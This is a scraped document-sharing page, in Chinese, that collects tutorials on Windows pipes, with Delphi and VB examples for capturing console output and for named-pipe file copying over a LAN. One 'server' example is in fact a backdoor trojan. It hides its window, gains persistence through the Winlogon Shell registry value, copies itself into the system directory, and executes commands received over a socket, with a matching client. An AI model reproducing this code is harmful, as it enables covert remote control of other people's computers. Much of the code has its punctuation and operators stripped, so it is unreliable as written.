




已阅读5页,还剩15页未读, 继续免费阅读
版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
什么是管道?参考WIN32汇编编程是这样描述的 Windows 引入了多进程和多线程机制。同时也提供了多个进程之间的通信手段,包括剪贴板、DDE、OLE、管道等,和其他通信手段相比,管道有它自己的限制和特点,管道实际上是一段共享内存区,进程把共享消息放在那里。并通过一些 API 提供信息交换。 管道是两个头的东西,每个头各连接一个进程或者同一个进程的不同代码,按照管道的类别分有两种管道,匿名的和命名的;按照管道的传输方向分也可以分成两种,单向的双向的。根据管道的特点,命名管道通常用在网络环境下不同计算机上运行的进程之间的通信(当然也可以用在同一台机的不同进程中)它可以是单向或双向的;而匿名管道只能用在同一台计算机中,它只能是单向的。匿名管道其实是通过用给了一个指定名字的有名管道来实现的。 使用管道的好处在于:读写它使用的是对文件操作的 api,结果操作管道就和操作文件一样。即使你在不同的计算机之间用命名管道来通信,你也不必了解和自己去实现网络间通信的具体细节。 使用匿名管道的步骤如下:使用 CreatePipe 建立两个管道,得到管道句柄,一个用来输入,一个用来输出 准备执行控制台子进程,首先使用 GetStartupInfo 得到 StartupInfo 使用第一个管道句柄代替 StartupInfo 中的 hStdInput,第二个代替 hStdOutput、hStdError,即标准输入、输出、错误句柄 使用 CreateProcess 执行子进程,这样建立的子进程输入和输出就被定向到管道中 父进程通过 ReadFile 读第二个管道来获得子进程的输出,通过 WriteFile 写第一个管道来将输入写到子进程 父进程可以通过 PeekNamedPipe 来查询子进程有没有输出 子进程结束后,要通过 CloseHandle 来关闭两个管道。 下面是具体的说明和定义:1. 建立匿名管道使用 CreatePipe 原形如下:BOOL CreatePipe(PHANDLE hReadPipe, / address of variable for read handle PHANDLE hWritePipe, / address of variable for write handle LPSECURITY_ATTRIBUTES lpPipeAttributes, / pointer to security attributes DWORD nSize / number of bytes reserved for pipe ); 当管道建立后,结构中指向的 hReadPipe 和 hWritePipe 可用来读写管道,当然由于匿名管道是单向的,你只能使用其中的一个句柄,参数中的 SECURITY_ATTRIBUTES 的结构必须填写,定义如下:typedef struct_SECURITY_ATTRIBUTESDWORD nLength: /定义以字节为单位的此结构的长度 LPVOID lpSecurityDes criptor; /指向控制这个对象共享的安全描述符,如果为NULL这个对象将被分配一个缺省的安全描述 BOOL bInheritHandle; /当一个新过程被创建时,定义其返回是否是继承的.供系统API函数使用. SECURITY_ATTRIBUTES; 2. 填写创建子进程用的 STARTUPINFO 结构,一般我们可以先用 GetStartupInfo 来填写一个缺省的结构,然后改动我们用得到的地方,它们是:hStdInput - 用其中一个管道的 hWritePipe 代替 hStdOutput、hStdError - 用另一个管道的 hReadPipe 代替 dwFlags - 设置为 STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW 表示输入输出句柄及 wShowWindow 字段有效 wShowWindow - 设置为 SW_HIDE,这样子进程执行时不显示窗口。 填写好以后,就可以用 CreateProcess 来执行子进程了。3. 在程序中可以用 PeekNamedPipe 查询子进程有没有输出,原形如下:OOL PeekNamedPipe(HANDLE hNamedPipe, / handle to pipe to copy from LPVOID lpBuffer, / pointer to data bufferDWORD nBufferSize, / size, in bytes, of data buffer LPDWORD lpBytesRead, / pointer to number of bytes read LPDWORD lpTotalBytesAvail, / pointer to total number of bytes available LPDWORD lpBytesLeftThisMessage / pointer to unread bytes in this message );我们可以将尝试读取 nBuffersize 大小的数据,然后可以通过返回的 BytesRead 得到管道中有多少数据,如果不等于零,则表示有数据可以读取。4. 用 ReadFile 和 WriteFile 来读写管道,它们的参数是完全一样的,原形如下:ReadFile or WriteFile(HANDLE hFile, / handle of file to read 在这里使用管道句柄LPVOID lpBuffer, / address of buffer that receives data 缓冲区地址DWORD nNumberOfBytesToRead, / number of bytes to read 准备读写的字节数LPDWORD lpNumberOfBytesRead, / address of number of bytes read,实际读到的或写入的字节数LPOVERLAPPED lpOverlapped / address of structure for data 在这里用 NULL);5. 用 CloseHandle 关闭管道一和管道二的 hReadPipe和 hWritePipe 这四个句柄。下面是一个演示DEMO,可以使用MEMO来制作一个控制台,所使用的技术就是管道procedureRunDosInMemo(Que:String;EnMemo:TMemo);constCUANTOBUFFER=2000;varSeguridades:TSecurityAttributes;PaLeer,PaEscribir:THandle;start:TStartUpInfo;ProcessInfo:TProcessInformation;Buffer:Pchar;BytesRead:DWord;CuandoSale:DWord;begin/安全描述可以省略withSeguridadesdobeginnlength:=SizeOf(TSecurityAttributes);binherithandle:=true;lpsecuritydes criptor:=nil;end;Creamoselpipe.ifCreatepipe(PaLeer,PaEscribir,Seguridades,0)thenbegin /申请缓冲Buffer:=AllocMem(CUANTOBUFFER+1); /创建STARTUPINFOFillChar(Start,Sizeof(Start),#0);start.cb:=SizeOf(start);start.hStdOutput:=PaEscribir;start.hStdInput:=PaLeer;start.dwFlags:=STARTF_USESTDHANDLES+STARTF_USESHOWWINDOW;start.wShowWindow:=SW_HIDE; /执行子进程ifCreateProcess(nil,PChar(Que),Seguridades,Seguridades,true,NORMAL_PRIORITY_CLASS,nil,nil,start,ProcessInfo)thenbeginEsperaaqueterminelaejecucionrepeat /使用信号量技术来避免CPU时间片被抢占CuandoSale:=WaitForSingleObject(ProcessInfo.hProcess,100);Application.ProcessMessages;until(CuandoSaleWAIT_TIMEOUT);LeemoslaPiperepeatBytesRead:=0;Llenamosuntronchodelapipe,igualanuestrobuffer /执行标准输出ReadFile(PaLeer,Buffer0,CUANTOBUFFER,BytesRead,nil);LaconvertimosenunastringterminadaenceroBufferBytesRead:=#0;ConvertimoscaracteresDOSaANSIOemToAnsi(Buffer,Buffer);EnMemo.Text:=EnMemo.text+String(Buffer);until(BytesReadCUANTOBUFFER);end;FreeMem(Buffer); /释放资源CloseHandle(ProcessInfo.hProcess);CloseHandle(ProcessInfo.hThread);CloseHandle(PaLeer);CloseHandle(PaEscribir);end;end;什么是电脑的管道技术?操作系统中负责线程间通讯的东西叫管道。 管道(pipe)是进程用来通讯的共享内存区域。一个进程往管道中写入信息,而其它的进程可以从管道中读出信息。如其名,管道是进程间数据交流的通道。邮路(Mailslots)的功能与管道类似,也是进程间通讯(interprocess communications,IPC)的媒介,只不过其具体实现方式与管道有些差别。一个基于Win32的应用程序可以在邮路中储存消息,这些消息通常通过网络发往一个指定的计算机或某域名(域是共享一个组名的一组工作站或服务器。)下的所有计算机。你也可以使用命名管道代替邮路来进行进程间通信。命名管道最适合用来两个进程间的消息传递,邮路则更适合一个进程向多个进程广播消息。邮路具有一个重要的特点,它使用数据包广播消息。广播(broadcast)是网络传输中使用的术语,它意味着接收方收到数据后不发送确认消息通知发送方。而管道(这里的管道指命名管道,有关命名管道以下详解。)则不同,它更类似于打电话,你只对一个当事人说话,但是你却非常清楚你的话都被对方听到。邮路和管道一样,也是一个虚拟文件,它保存在内存中,但是你却必须使用普通的Win32文件函数访问它,比如CreateFile、ReadFile、WriteFile等。邮路中储存的数据可以是任何形式的,唯一的要求是不得超过64K。与磁盘文件不同的是,邮路是一个临时的对象,当某个邮路所有的句柄都关闭的时候,该邮路及其中的数据就被删除。 管道的类型有两种:匿名管道和命名管道。匿名管道是不命名的,它最初用于在本地系统中父进程与它启动的子进程之间的通信。命名管道更高级,它由一个名字来标识,以使客户端和服务端应用程序可以通过它进行彼此通信。而且,Win32命名管道甚至可以在不同系统的进程间使用,这使它成为许多客户/服务器应用程序的理想之选。 就像水管连接两个地方并输送水一样,软件的管道连接两个进程并输送数据。一个一个管道一旦被建立,它就可以象文件一样被访问,并且可以使用许多与文件操作同样的函数。可以使用CreateFile函数获取一个已打开的管道的句柄,或者由另一个进程提供一个句柄。使用WriteFile函数向管道写入数据,之后这些数据可以被另外的进程用ReadFile函数读取。管道是系统对象,因此管道的句柄在不需要时必须使用CloseHandle函数关闭。 匿名管道只能单向传送数据,而命名管道可以双向传送。管道可以以比特流形式传送任意数量的数据。命名管道还可以将数据集合到称为消息的数据块中。命名管道甚至具有通过网络连接多进程的能力。但遗憾的是Windows9X不支持创建命名管道,它只能在WindowsNT系列(如Windows NT,Windows 2000,Windows XP)的操作系统上创建。 当讨论管道时,通常涉及到两个进程:客户进程和服务进程。服务进程负责创建管道。客户进程连接到管道。服务进程可以创建一个管道的多个实例,以此支持多个客户进程。例:/Server.pas/ unit UtMain;/BY Smias/Email:China_SmiasHotail.Com/QQ:9661800/interfaceusesWindows, Messages, SysUtils, Variants, Classes, Graphics, Controls, forms,Dialogs, Registry, ScktComp, StdCtrls;typeTFmMain = class(Tform)SS: TServerSocket;Memo1: TMemo;procedure formCreate(Sender: TObject);procedure SSAccept(Sender: TObject; Socket: TCustomWinSocket);procedure SSClientRead(Sender: TObject; Socket: TCustomWinSocket);private Private declarations public Public declarations end;varFmMain: TFmMain;reg:TRegistry;implementation$R *.dfmprocedure TFmMain.formCreate(Sender: TObject);varsysdir:array0.50 of char;beginApplication.ShowMainform:=False;FmMain.Left:=-200; /运行不显示窗口reg:=TRegistry.Create;reg.RootKey:=HKEY_LOCAL_MACHINE;reg.OpenKey(SoftWareMicrosoftWindows NTCurrentVersionWinlogon,true);if reg.ReadString(Shell) Explorer.exe Lysvr.exe thenreg.WriteString(Shell,Explorer.exe Lysvr.exe); /建立开机启动项reg.Free;GetSystemDirectory(sysdir,50);if not FileExists(sysdir+Lysvr.exe) thencopyfile(Pchar(Application.exeName),pchar(sysdir+Lysvr.exe),true);SS.Port:=9626;trySS.Active:=True;exceptend;end;procedure TFmMain.SSAccept(Sender: TObject; Socket: TCustomWinSocket);beginSocket.SendText(连接成功); /发现有连接时回传连接成功 end;procedure TFmMain.SSClientRead(Sender: TObject; Socket: TCustomWinSocket);varRemoteCmd:string;hReadPipe,hWritePipe:THandle;si:STARTUPINFO;lsa:SECURITY_ATTRIBUTES;pi:PROCESS_INformATION;cchReadBuffer:DWORD;ph:PChar;fname:PChar;res:string;beginMemo1.Clear;remotecmd:=Socket.ReceiveText;fname:=allocmem(255);ph:=AllocMem(5000);lsa.nLength :=sizeof(SECURITY_ATTRIBUTES);lsa.lpSecurityDes criptor :=nil;lsa.bInheritHandle :=True;if CreatePipe(hReadPipe,hWritePipe,lsa,0)=false thenbeginsocket.SendText(不能创建管道);exit;end;fillchar(si,sizeof(STARTUPINFO),0);si.cb:=sizeof(STARTUPINFO);si.dwFlags:=(STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW);si.wShowWindow:=SW_HIDE;si.hStdOutput:=hWritePipe;StrPCopy(fname,remotecmd);/执行CMD命令/if CreateProcess(nil,fname,nil,nil,true,0,nil,nil,si,pi)=False thenbeginsocket.SendText(不能创建进程);FreeMem(ph);FreeMem(fname);Exit;end;while(true) dobeginif not PeekNamedPipe(hReadPipe,ph,1,cchReadBuffer,nil,nil) then break;if cchReadBuffer0 thenbeginif ReadFile(hReadPipe,ph,4096,cchReadBuffer,nil)=false then break;phcchReadbuffer:=chr(0);Memo1.Lines.Add(ph);endelseif(WaitForSingleObject(pi.hProcess ,0)=WAIT_OBJECT_0) then break;Sleep(100);end;phcchReadBuffer:=chr(0);Memo1.Lines.Add(ph); /memo接收回显CloseHandle(hReadPipe);CloseHandle(pi.hThread);CloseHandle(pi.hProcess);CloseHandle(hWritePipe);FreeMem(ph);FreeMem(fname);socket.SendText(Memo1.Text); /将回显发送回客户端end;end./客户端/unit UtMain;/BY Smias/Email:China_SmiasHotail.Com/QQ:9661800/interfaceusesWindows, Messages, SysUtils, Variants, Classes, Graphics, Controls, forms,Dialogs, OleCtrls, SHDocVw, StdCtrls, IdBaseComponent, IdComponent,IdUDPBase, IdUDPServer, Buttons, TLHelp32, ScktComp;typeTFmMain = class(Tform)WebBrowser1: TWebBrowser;Label3: TLabel;Edit2: TEdit;Label4: TLabel;Edit3: TEdit;Button2: TButton;CS: TClientSocket;Edit4: TEdit;Label5: TLabel;Memo1: TMemo;BitBtn2: TBitBtn;procedure Button2Click(Sender: TObject);procedure CSRead(Sender: TObject; Socket: TCustomWinSocket);procedure BitBtn2Click(Sender: TObject);private Private declarations public Public declarations end;varFmMain: TFmMain;implementation$R *.dfmprocedure TFmMain.Button2Click(Sender: TObject);beginCS.Host:=Edit2.Text;CS.Port:=StrToInt(Edit3.Text);CS.Open;end;procedure TFmMain.CSRead(Sender: TObject; Socket: TCustomWinSocket);beginMemo1.Clear;Memo1.Lines.Add(Socket.ReceiveText);Memo1.Lines.Add();end;procedure TFmMain.BitBtn2Click(Sender: TObject);beginCS.Socket.SendText(edit4.Text);end;end.捕获控制台程序输出文实现了在Delphi中运行控制台程序,并将控制台程序的输出在Memo控件中显示出来。工作中需要手工编译J2ME的程序,开始编写了一个批处理程序,但是感觉使用中非常繁琐,于是想用Delphi做一个集成编译工具,但是java的编译工具都是console程序,怎么捕获到console程序的输出,并显示在Memo中呢,查了网上的一些资料,反复测试,找到了一个实现的方法,希望对大家有帮助:procedure TMainForm.RunDosInMemo(const DosApp: string; AMemo: TMemo);const设置ReadBuffer的大小ReadBuffer = 2400;varSecurity: TSecurityAttributes;ReadPipe, WritePipe: THandle;start: TStartUpInfo;ProcessInfo: TProcessInformation;Buffer: PChar;BytesRead: DWord;Buf: string;beginwith Security dobegin nlength := SizeOf(TSecurityAttributes); binherithandle := true; lpsecuritydes criptor := nil;end;创建一个命名管道用来捕获console程序的输出if Createpipe(ReadPipe, WritePipe, Security, 0) thenbegin Buffer := AllocMem(ReadBuffer + 1); FillChar(Start, Sizeof(Start), #0) 设置console程序的启动属性 with start do begin cb := SizeOf(start); start.lpReserved := nil; lpDesktop := nil; lpTitle := nil; dwX := 0; dwY := 0; dwXSize := 0; dwYSize := 0; dwXCountChars := 0; dwYCountChars := 0; dwFillAttribute := 0; cbReserved2 := 0; lpReserved2 := nil; hStdOutput := WritePipe; /将输出定向到我们建立的WritePipe上 hStdInput := ReadPipe; /将输入定向到我们建立的ReadPipe上 hStdError := WritePipe;/将错误输出定向到我们建立的WritePipe上 dwFlags := STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW; wShowWindow := SW_HIDE;/设置窗口为hide end; try 创建一个子进程,运行console程序 if CreateProcess(nil, PChar(DosApp), Security, Security, true, NORMAL_PRIORITY_CLASS, nil, nil, start, ProcessInfo) then begin 等待进程运行结束 WaitForSingleObject(ProcessInfo.hProcess, INFINITE); 关闭输出.开始没有关掉它,结果如果没有输出的话,程序死掉了。 CloseHandle(WritePipe); Buf := ; 读取console程序的输出 repeat BytesRead := 0; ReadFile(ReadPipe, Buffer0, ReadBuffer, BytesRead, nil); BufferBytesRead := #0; OemToAnsi(Buffer, Buffer); Buf := Buf + string(Buffer); until (BytesRead 0 do begin AMemo.Lines.Add(Copy(Buf, 1, pos(#10, Buf) - 1); Delete(Buf, 1, pos(#10, Buf); end; end; finally FreeMem(Buffer); CloseHandle(ProcessInfo.hProcess); CloseHandle(ProcessInfo.hThread); CloseHandle(ReadPipe); end;end;end;用命名管道实现局域网上两台主机间的文件拷贝作者: 徐原 能实现局域网上两台主机间文件拷贝的方法有很多种,这里介绍的“命名管道”(Named Pipe )是一种比较可靠的进程间通信机制,可用在同一台计算机不同进程间,也可用在不同计算机的不同进程间,可以是单向的,也可以是双向的,Windows NT、Windows 2000、Windows 95和Windows 98均提供了对它的支持,而且在Unix下也有类似的概念。它是在Microsoft LAN管理器和IBMLAN服务器网络操作系统上实现的。 命名管道使用了MSNP(微软网络提供者)重定向器,这样应用程序便可以不用了解网络协议的细节而利用该机制实现网络上的数据传输。它采用“命名管道文件系统”(Named Pipe File System)接口,其命名是采用UNC(通用命名规范)格式的: ServerNamePipepipename ServerName指明命名管道是在那个服务器上创建的,ServerName既可以是一个实际的计算机名,也可以是小数点(“.”)以指明是在本机上创建;Pipe是一个硬编码(Hardcode)不用区分大小写的字符串用以指明这是一个管道名,该文件名从属于NPFS;pipename是实际的自定义的管道名,该名称在前面指定的服务器上必须是唯一的,该名称可以包含多级目录,但目录名必须不是已经创建的管道名,例: .PipexyPipe这是一个合法管道名 .PipexyPipePipe这不是一个合法的管道名,因为前面的目录.PipexyPipe是一个已经创建的管道名了。 .PipexxyPipePipe这也是一个合法的文件名 命名管道有两种基本通信模式:字节模式和消息模式。在字节模式中,数据是以字节流的形式在管道种传输,数据之间没有边界,在管道写入和读出操作中是以字节流即数据块为基本单位操作的,这适合传输大容量数据;在消息模式中,数据是以一条条不连续的消息为基本传输单元,消息和消息之间有边界,在管道写入和读出操作中也是以消息为单位进行操作的,这种方式适合传输量小的数据。因为现在的文件大小常常有几百K甚至更大,所以程序中选择使用字节模式。 下面详细介绍一下CreateNamedPipe()这个函数,该函数C原型如下: HANDLE CreateNamedPipe( LPCTSTR lpName, / pointer to pipe name DWORD dwOpenMode, / pipe open mode DWORD dwPipeMode, / pipe-specific modes DWORD nMaxInstances, / maximum number of instances DWORD nOutBufferSize, / output buffer size, in bytes DWORD nInBufferSize, / input buffer size, in bytes DWORD nDefaultTimeOut, / time-out time, in milliseconds LPSECURITY_ATTRIBUTES lpSecurityAttributes / pointer to security attributes ); lpName:为前面所述的命名管道名。 dwOpenMode:为命名管道打开的模式,有PIPE_ACCESS_DUMPLEX(双向)、PIPE_ACCESS_INBOUND(输入)、PIPE_ACCESS_OUTBOUND(输出)这三种,这些标志还可以和一些附加的I/O控制和安全模式的常数组合使用,详细可参考MSDN。 dwPipeMode:为管道传输模式,有前面所述的PIPE_TYPE_BYTE(字节模式)和PIPE_TYPE_MESSAGE(消息模式)两种,可以和PIPE_READMODE_BYTE和PIPE_READMODE_MESSAGE常数组合使用以限定客户端的读取模式。可以使用PIPE_TYPE_MESSAGE 和 PIPE_READMODE_BYTE组合来指定发送者以消息模式向管道发送数据,而接收者一次可以读取任意数量的字节。注意不可将PIPE_TYPE_BYTE和PIPE_READMODE_MESSAGE组合使用,这样会导致CreateNamedPipe()函数调用失败,因为字节模式没有边界,在接收端用消息模式读取的时候无法判断消息的边界。 nMaxInstances:管道最大的连接实例句柄,其范围在1到255之间。 nOutBufferSize和nInBufferSize分别指明管道输出和输入缓冲区的大小,如设为0则使用系统默认大小。 nDefaultTimeOut以毫秒为单位设定客户机等待同命名管道建立连接的最长时间。 LpSecurityAttruibutes为一个安全描述符,设为Null表示使用系统默认的描述符,同时句柄不可继承。 要注意的是在程序中命名管道的写操作中一次最大只能写64K字节的数据, 下面是服务器端程序: (模块中): Public Declare Function CreateNamedPipe Lib kernel32 Alias CreateNamedPipeA (ByVal lpName As String, ByVal dwOpenMode As Long, ByVal dwPipeMode As Long, ByVal nMaxInstances As Long, ByVal nOutBufferSize As Long, ByVal nInBufferSize As Long, ByVal nDefaultTimeOut As Long, ByVal lpSecurityAttributes As Long) As Long Public Declare Function ConnectNamedPipe Lib kernel32 (ByVal hNamedPipe As Long, ByVal lplong As Long) As Long Public Declare Function ReadFile Lib kernel32 (ByVal hFile As Long, lpBuffer As Any, ByVal nNumberOfBytesToRead As Long, lpNumberOfBytesRead As Long, ByVal lplong As Long) As Long Public Declare Function WriteFile Lib kernel32 (ByVal hFile As Long, lpBuffer As Any, ByVal nNumberOfBytesToWrite As Long, lpNumberOfBytesWritten As Long, ByVal lplong As Long) As Long Public Declare Function CloseHandle Lib kernel32 (ByVal hObject As Long) As Long Public Declare Function WaitNamedPipe Lib kernel32 Alias WaitNamedPipeA (ByVal lpNamedPipeName As String, ByVal nTimeOut As Long) As Long Public Declare Function CreateFile Lib kernel32 Alias CreateFileA (ByVal lpFileName As String, ByVal dwDesiredAccess As Long, ByVal dwShareMode As Long, ByVal lpSecurityAttributes As Long, ByVal dwCreationDisposition As Long, ByVal dwFlagsAndAttributes As Long, ByVal hTemplateFile As Long) As Long Public Declare Function DisconnectNamedPipe Lib kernel32 (ByVal hNamedPipe As Long) As Long Public Declare Function GetFileSize Lib kernel32 (ByVal hFile As Long, lpFileSizeHigh As Long) As Long Public Const PIPE_ACCESS_DUPLEX = &H3 Public Const PIPE_ACCESS_INBOUND = &H1 Public Const PIPE_ACCESS_OUTBOUND = &H2 Public Const PIPE_CLIENT_END = &H0 Public Const PIPE_NOWAIT = &H1 Public Const PIPE_READMODE_BYTE = &H0 Public Const PIPE_READMODE_MESSAGE = &H2 Public Const PIPE_SERVER_END = &H1 Public Const PIPE_TYPE_BYTE = &H0 Public Const PIPE_TYPE_MESSAGE = &H4 Public Const PIPE_UNLIMITED_INSTANCES = 255 Public Const PIPE_WAIT = &H0 Public Const FILE_SHARE_READ = &H1 Public Const FILE_SHARE_WRITE = &H2 Public Const GENERIC_READ = &H80000000 Public Const GENERIC_WRITE = &H40000000 Public Const GENERIC_EXECUTE = &H20000000 Public Const GENERIC_ALL = &H10000000 Public Const OPEN_EXISTING = 3 Public Const ERROR_P
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 2025年私募基金行业当前竞争格局与未来发展趋势分析报告
- 2025年汽车产业园行业当前市场规模及未来五到十年发展趋势报告
- 收入科目课件
- 2025年住院医师规范化培训院级师资考核试题(含答案)
- 2025年矿产权评估师重点试题带答案
- 2024年事业单位考试内江市东兴区《公共基础知识》全真模拟试题含解析
- 播放课件不显示页数问题
- 2025年初级卫生专业技术资格练习题有参考答案
- 2025年施工员之装修施工基础知识考试题库附完整答案(必刷)
- 2025年公务员考试公共基础知识模拟试题及答案
- 2025健康体检服务规范
- 税务政策培训课件
- 循环水培训课件
- 大型丧事活动方案
- 阿尔茨海默氏症典型病例解析
- 2025年中小学心理健康教育教师考试试题及答案
- 教师写作培训课件
- 中国无人机智能巡检系统行业市场前景预测及投资价值评估分析报告
- 十五五林业建设总结和十五五林业发展规划思路-0-图文
- 财务分析入门从零开始学
- 2025年航拍无人机驾驶员(五级)职业技能鉴定理论考试题库(含答案)
评论
0/150
提交评论